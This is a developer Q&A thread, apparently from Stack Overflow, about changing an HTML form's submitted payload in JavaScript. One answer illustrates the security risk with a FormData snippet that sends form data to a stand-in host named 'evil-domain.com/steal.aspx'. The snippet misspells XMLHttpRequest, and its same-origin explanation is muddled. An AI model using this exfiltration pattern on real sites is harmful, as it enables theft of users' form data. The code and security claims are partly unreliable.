Reputation: 33850
Short of adding more hidden controls to the form in the submit
event, is there a way to change the payload that will be sent when a form is submitted, before the form is submitted?
$("#frm").submit(event) {
// Is there an API to change
// the request body here
}
For e.g. I'd like to --
Change the name of a hidden field that's being sent.
Add a few iterable / enumerable objects to the request body / payload.
I can work around both the issues, by adding more hidden controls with the names I want, to the form, and write a custom model binder on the server.
But is there a client-side API that allows you to modify the contents that will be sent to the server before sending them?
Upvotes: 0
Views: 1671
Reputation: 33850
As of this time, no there isn't. And there probably never will be because of the security implications of this.
Security Implications of Having Such a Feature
Imagine a third-party script you downloaded because you were using a plug-in (for e.g. Google Analytics, ShareThis, ads from an ad provider, etc.) being able to inject their own data into your forms. It would be possible for them to do this if there was such a way.
But you can do something like that for AJAX requests
There is indeed a FormData
object but that's just a property bag that allows a script to copy data from an existing form
element on the page or to simply start with a blank FormData
object, i.e. a blank property bag, put some additional properties in it, and send those off to a server, whether your web application or a third-party one, but only in an AJAX request.
var additionalDataToAppendToForm = { ... };
var formData = new FormData(myFormElement); // copies existing values from form to FormData
formData.delete(existingFieldName1);
formData.set(existingFieldName2, "newValue");
formData.append(/*name */ "additionalField1", /* value */ additionalDataToAppendToForm);
var xhr = new XmlHttpRequest();
xhr.open("POST", "https://evil-domain.com/steal.aspx");
xhr.send(formData);
And that's a security implication for your web application if and only if you have not paid attention to the Same Origin Policy and not protected your web server from pre-flight requests from other domains.
PS: I had asked this question and had back then decided that there wasn't a way and that was correct, and had added more hidden fields to my form, as indicated in my question. But since then, I was meaning to write an answer to clarify for anyone else who may have this question, so I am writing this answer.
Upvotes: 0
Reputation:
I advice you to look at Is it possible to change form data before sending it?
That question may has a partial solution for your problem as far as I understand
Upvotes: 1